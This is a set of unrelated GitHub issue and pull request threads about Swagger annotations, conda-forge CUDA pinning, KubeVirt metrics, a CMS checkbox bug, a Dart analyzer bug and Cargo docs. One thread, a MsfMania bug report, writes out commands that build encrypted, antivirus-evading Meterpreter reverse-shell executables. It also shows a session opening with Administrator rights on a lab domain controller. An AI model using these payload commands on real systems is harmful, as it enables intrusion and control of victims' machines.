I think the return type content = @Content(mediaType = "application/json",                                     schema = @Schema(implementation = User.class))  is  a necessary swagger parameter and is used to generate swagger interface documentation.
like Example 2 in swagger doc:https://github.com/swagger-api/swagger-core/wiki/Swagger-2.X---Annotations
    @GET
    @Path("/{username}")
    @Operation(summary = "Get user by user name",
            responses = {
                    @ApiResponse(description = "The user",
                            content = @Content(mediaType = "application/json",
                                    schema = @Schema(implementation = User.class))),
                    @ApiResponse(responseCode = "400", description = "User not found")})
    public Response getUserByName(
            @Parameter(description = "The name that needs to be fetched. Use user1 for testing. ", required = true) @PathParam("username") String username)
            throws ApiException {
        User user = userData.findUserByName(username);
        if (null != user) {
            return Response.ok().entity(user).build();
        } else {
            throw new NotFoundException(404, "User not found");
        }
    }

That's helpful info, thanks! Would you be willing and able to help create that recipe?
We have some self-guided recipe authoring resources here to help you get started.

Perhaps seeing this similar change would be helpful to see here

https://github.com/openrewrite/rewrite-openapi/pull/21

Okay, I'll try to change, but I've been busy lately, and this issure isn't particularly in a hurry, so I'll close it first


Update url for the Windows package

Checklist

[ ] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

The recipe license should not include the word "License".

For recipe:

License is not an SPDX identifier (or a custom LicenseRef) nor an SPDX license expression.

Documentation on acceptable licenses can be found here.

@conda-forge-admin, please rerender

@jakirkham Any advice for how to make this package support CUDA 11.x without generating extra packages? I think the binary works for all CUDA 11.x despite we built it in the 11.0 docker.

Sorry not following. Meaning avoiding uploading more Linux packages? As long as the package hash hasn't changed (and the build number hasn't changed), there shouldn't be any new uploads. Should be possible to see on CI what the package filename (including hash) is at the end of the build

Meaning avoiding uploading more Linux packages?

@jakirkham, I meant here I produce 3 packages for 10.1, 10.2, and 11.0, but the last one should also work on any 11.x. Is there a run_export thing that I need to fix in order to allow this?

I meant here I produce 3 packages for 10.1, 10.2, and 11.0, but the last one should also work on any 11.x. Is there a run_export thing that I need to fix in order to allow this?

Perhaps this is clearer. I want to fix this conflict in this PR to achieve a "manual migration":
$ conda create -c conda-forge -n test cudatoolkit=11.1 cutensor
Collecting package metadata (current_repodata.json): done
Solving environment: failed with repodata from current_repodata.json, will retry with next repodata source.
Collecting package metadata (repodata.json): done
Solving environment: /
Found conflicts! Looking for incompatible packages.
This can take several minutes.  Press CTRL-C to abort.
failed

UnsatisfiableError: The following specifications were found to be incompatible with each other:

Output in format: Requested package -> Available versions

Package cudatoolkit conflicts for:
cudatoolkit=11.1
cutensor -> cudatoolkit[version='10.1|10.1.*|11.0|11.0.*|10.2|10.2.*']

Package __glibc conflicts for:
cutensor -> __glibc[version='>=2.17|>=2.17,<3.0.a0']
@/linux-64::__glibc==2.31=0
cudatoolkit=11.1 -> __glibc[version='>=2.17,<3.0.a0']The following specifications were found to be incompatible with your CUDA driver:

  - feature:/linux-64::__cuda==11.2=0
  - feature:|@/linux-64::__cuda==11.2=0

Your installed CUDA driver is: 11.2

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

Failed to even lint the recipe, probably because of a conda-smithy bug :cry:. This likely indicates a problem in your meta.yaml, though. To get a traceback to help figure out what's going on, install conda-smithy and run conda smithy recipe-lint . from the recipe directory.

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

The recipe license should not include the word "License".

For recipe:

License is not an SPDX identifier (or a custom LicenseRef) nor an SPDX license expression.

Documentation on acceptable licenses can be found here.

@leofang the recent commit you pushed is what I'd expect to allow the CUDA 11 package to run on any CUDA 11.x version. Let us know if it doesn't work!

@conda-forge-admin, please re-render

@conda-forge-admin, please rerender

Package cudatoolkit conflicts for:
cutensor -> cudatoolkit[version='10.1|10.1.*|11.0|11.0.*|10.2|10.2.*']
cudatoolkit=11.2

@conda-forge-admin, please rerender

Alright. My hands are tied. Looks like pin_compatible isn't working as expected, and the dependency on 11.0 is just not relaxed to 11.x.
I will leave the PR open for future investigation, as the url change itself isn't critical and I want this PR to also do the migration for us.

Let’s see if we can get some fresh eyes on this
cc @conda-forge/core

@conda-forge-admin, please rerender

Let's get this in now, and I'll test locally to see if the conflict (https://github.com/conda-forge/cutensor-feedstock/pull/9#issuecomment-780850166) is resolved and report back.

(btw, thanks @isuruf for jumping in! Hopefully this will unblock the bot, which currently reports bot error in the 11.1/11.2 migration.)

Yep thanks for all the work here Leo and Isuru for the assist 😀

Seems to work! The same package can work with 11.0/11.2.
$ conda create -n test -c conda-forge cudatoolkit=11.0 cutensor
Collecting package metadata (current_repodata.json): done
Solving environment: done

==> WARNING: A newer version of conda exists. <==
  current version: 4.8.3
  latest version: 4.9.2

Please update conda by running

    $ conda update -n base -c defaults conda

## Package Plan ##

  environment location: /home/leofang/miniconda3/envs/test

  added / updated specs:
    - cudatoolkit=11.0
    - cutensor

The following packages will be downloaded:

    package                    |            build
    ---------------------------|-----------------
    cudatoolkit-11.0.3         |       h15472ef_8       951.9 MB  conda-forge
    cutensor-<IP_ADDRESS>           |       h96e36e3_3        88.7 MB  conda-forge
    ------------------------------------------------------------
                                           Total:        1.02 GB

The following NEW packages will be INSTALLED:

  _libgcc_mutex      conda-forge/linux-64::_libgcc_mutex-0.1-conda_forge
  _openmp_mutex      conda-forge/linux-64::_openmp_mutex-4.5-1_gnu
  cudatoolkit        conda-forge/linux-64::cudatoolkit-11.0.3-h15472ef_8
  cutensor           conda-forge/linux-64::cutensor-<IP_ADDRESS>-h96e36e3_3
  libgcc-ng          conda-forge/linux-64::libgcc-ng-9.3.0-h2828fa1_18
  libgomp            conda-forge/linux-64::libgomp-9.3.0-h2828fa1_18
  libstdcxx-ng       conda-forge/linux-64::libstdcxx-ng-9.3.0-h6de172a_18

Proceed ([y]/n)? n

CondaSystemExit: Exiting.

$ conda create -n test -c conda-forge cudatoolkit=11.2 cutensor
Collecting package metadata (current_repodata.json): done
Solving environment: done

==> WARNING: A newer version of conda exists. <==
  current version: 4.8.3
  latest version: 4.9.2

Please update conda by running

    $ conda update -n base -c defaults conda

## Package Plan ##

  environment location: /home/leofang/miniconda3/envs/test

  added / updated specs:
    - cudatoolkit=11.2
    - cutensor

The following packages will be downloaded:

    package                    |            build
    ---------------------------|-----------------
    cudatoolkit-11.2.1         |       h8204236_8       877.7 MB  conda-forge
    cutensor-<IP_ADDRESS>           |       h96e36e3_3        88.7 MB  conda-forge
    ------------------------------------------------------------
                                           Total:       966.4 MB

The following NEW packages will be INSTALLED:

  _libgcc_mutex      conda-forge/linux-64::_libgcc_mutex-0.1-conda_forge
  _openmp_mutex      conda-forge/linux-64::_openmp_mutex-4.5-1_gnu
  cudatoolkit        conda-forge/linux-64::cudatoolkit-11.2.1-h8204236_8
  cutensor           conda-forge/linux-64::cutensor-<IP_ADDRESS>-h96e36e3_3
  libgcc-ng          conda-forge/linux-64::libgcc-ng-9.3.0-h2828fa1_18
  libgomp            conda-forge/linux-64::libgomp-9.3.0-h2828fa1_18
  libstdcxx-ng       conda-forge/linux-64::libstdcxx-ng-9.3.0-h6de172a_18

Proceed ([y]/n)? n

CondaSystemExit: Exiting.


Can't get it to work? (solved)

Hello!
Just wanted to let you know it seems something broken with generated exe files.
Launching generated output.exe on target (Windows Server 2012 R2) no connection made to listener. Tried lots of times, no avail.
Can you recheck please isn't something broken with MsfMania?
P.S The listener is fully functional and lport reachable (verified).
Thanks in advance!
1) python3 MsfMania.py -a x86 -p windows/meterpreter/reverse_tcp -lh <IP_ADDRESS> -lp 8088 -o localx32 -it local
2) python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh <IP_ADDRESS> -lp 8088 -o local2 -it local

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on <IP_ADDRESS>:8088

Do you renamed the EXE file on your target system ?
The target system have minimum 2 core ?

Do you renamed the EXE file on your target system ?
The target system have minimum 2 core ?

Hello, thank you for your quick reply.

Tried both: renamed, also tried with original name.
Here is HW specs of 2012 r2 instaled env.
No AV solutions installed, firewall fully disabled (this is a lab environment)

Host Name:                 DC
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:               -REMOVED_INTENTIONALLY-
Original Install Date:     2/8/2021, 7:39:34 PM
System Boot Time:          3/15/2021, 1:04:17 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.

Total Physical Memory:     3,071 MB

Thanks in advance

Sorry for bumping again. Magically this time it worked on 2k12 R2!
┌──(root💀outflow)-[/home/outflow/msfmania/MsfMania]
└─# python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh <IP_ADDRESS> -lp 8088 -o local16032k21 -it local

                ███╗   ███╗███████╗███████╗███╗   ███╗ █████╗ ███╗   ██╗██╗ █████╗
                ████╗ ████║██╔════╝██╔════╝████╗ ████║██╔══██╗████╗  ██║██║██╔══██╗
                ██╔████╔██║███████╗█████╗  ██╔████╔██║███████║██╔██╗ ██║██║███████║
                ██║╚██╔╝██║╚════██║██╔══╝  ██║╚██╔╝██║██╔══██║██║╚██╗██║██║██╔══██║
                ██║ ╚═╝ ██║███████║██║     ██║ ╚═╝ ██║██║  ██║██║ ╚████║██║██║  ██║
                ╚═╝     ╚═╝╚══════╝╚═╝     ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═╝
             Version : 2.4   -   Author : Killian CASAROTTO   -  Updated : 08/03/2021

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2166 bytes

[+] Shellcode generated.

[+] Shellcode encrypted.

[+] Evasion code added.

[+] File compiled and stripped.

[+] Final PE size: 42496 bytes.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on <IP_ADDRESS>:8088
[*] Sending stage (200262 bytes) to <IP_ADDRESS>
[*] Meterpreter session 1 opened (<IP_ADDRESS>:8088 -> <IP_ADDRESS>:55173) at 2021-03-16 05:56:02 -0400

meterpreter > getuid
Server username: PWNME\Administrator

I noticed that the executable file did not "fully" copy itself when moved across a VM to a VM or VMachine to host. The file was not executable. This doesn't happen all the time, but I found an alternative with CTRL+C & CTRL+V.
Do test, you will see.
Thanks for your feedback, don't hesitate, 2.5 inc.


The downward metrics server allows using more resources than expected

What happened:
The downward metric server could be abused to use an excessive amount of resources by the virt-handler if many VMs are running on the cluster and requesting the metrics.
This was first brought up on CNV-38661 and mitigated by #11484, but even with this mitigation in place, the root issue still persists: the server runs in the virt-handler outside the VM's cgroup.
A proper solution will be to move back the downward metrics server from the virt-handler to the virt-launcher, so it will run in the same cgroup as the VM

/cc @jcanocan @dominikholler  @vladikr @xpivarc

/remove-lifecycle rotten

@xpivarc Would you agree with this approach? Any objections?

This is tracked in https://issues.redhat.com/browse/CNV-41208

Well the #vms and #requests is bound right now so I wouldn't agree that the downward metrics server can lead to OOM or resource exhaustion. That being said we can explore if moving to the launcher is feasible

I don't object as well. The only concern is whether virt-launcher will be able to see all the host related metrics.

I don't object as well. The only concern is whether virt-launcher will be able to see all the host related metrics.

Yes, that was my first approach. The majority of the metrics comes from libvirtd and the rest from world-readable files in /proc

I don't object as well. The only concern is whether virt-launcher will be able to see all the host related metrics.

Yes, being part of the launcher was my first approach. The majority of the metrics comes from libvirtd and the rest from world-readable files in /proc

In some cases /proc would only contain files that are relevant for the container and will not include all the data that you would normally be able to retrive from the host side.
That is my only concern.
However, if you have verified that part, I'm +1 for moving this functionality to virt-launcher.


Tos not working

$this->page['showCommentFormTos'] = $this->config('form_tos_checkbox') === '0';
'0' need to be '1' to get right condition

Hello,
thanks again for your bug report. I fixed it in the current master branch, I'll push a new version today or tomorrow.
~Sam.

Fixed in v1.3.3 (Version has been pushed to Octobers Marketplace).


[analyzer] Report of #const_with_type_parameters with raw type but not alias, and compiler still works

class Wrapper<T> {
  const Wrapper();
}
typedef TD = A Function<A>(A);
const token1 = Wrapper<TD>();
const token2 = Wrapper<A Function<A>(A)>();

void main() {
  print(token1);
  print(token2);
}

Prints
Instance of 'Wrapper<<T1>(T1) => T1>'
Instance of 'Wrapper<<T1>(T1) => T1>'

Produces error:
A constant creation can't use a type parameter as a type argument. #const_with_type_parameters
A constant creation can't use a type parameter as a type argument. #const_with_type_parameters

const token2 = Wrapper<A Function<A>(A)>();
                       ^             ^

It seems odd to me that the analyzer

cares about the type param in the constant declaration but not for the type alias
reports an error yet the compiler still succeeds

SDK version: 3.3.3

Seems like an analyzer bug. There is nothing wrong with the type argument to Wrapper, it's a valid constant type term.

The ability to "use a generic function type as a type argument" was introduced in Dart 2.14. If you prepend your example with // @dart=2.13, the VM also gives errors:
a.dart:7:16: Error: A generic function type can't be used as a type argument.
Try using a non-generic function type.
const token1 = Wrapper<TD>();
               ^
a.dart:8:16: Error: A generic function type can't be used as a type argument.
Try using a non-generic function type.
const token2 = Wrapper<A Function<A>(A)>();
               ^

I'm not sure how related that is... but it seems maybe we didn't finsh implementing that feature. I thought this issue might be related to the constructor tearoffs feature, introduced in 2.15, in which type variables became potentially constant:

If T denotes a type variable then T is a potentially constant type expression, and a potentially constant expression.

But the VM accepts the program with // @dart=2.14 (pre-constructor-tearoffs), so 🤷 .


Define {{command}} for use in src/doc/man/includes

I am interested in using this in https://github.com/rust-lang/cargo/pull/12568.
  {{#option "`--keep-going`"}}
  Build as many crates in the dependency graph as possible, rather than aborting
  the build on the first one that fails to build.

  For example if the current package depends on dependencies `fails` and `works`,
- one of which fails to build, `cargo check -j1` may or may not build the one that
+ one of which fails to build, `cargo {{command}} -j1` may or may not build the one that
  succeeds (depending on which one of the two builds Cargo picked to run first),
- whereas `cargo check -j1 --keep-going` would definitely run both builds, even if
+ whereas `cargo {{command}} -j1 --keep-going` would definitely run both builds, even if
  the one run first fails.
  {{/option}}

Thanks for this!
@bors r+

:pushpin: Commit 134a00cf5e31ae349a915bb5b2d5c1680643ae5b has been approved by weihanglo
It is now in the queue for this repository.

:hourglass: Testing commit 134a00cf5e31ae349a915bb5b2d5c1680643ae5b with merge 88d4d9481d5793fc6b1b30d99c31dcdc4e14d99b...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 88d4d9481d5793fc6b1b30d99c31dcdc4e14d99b to master...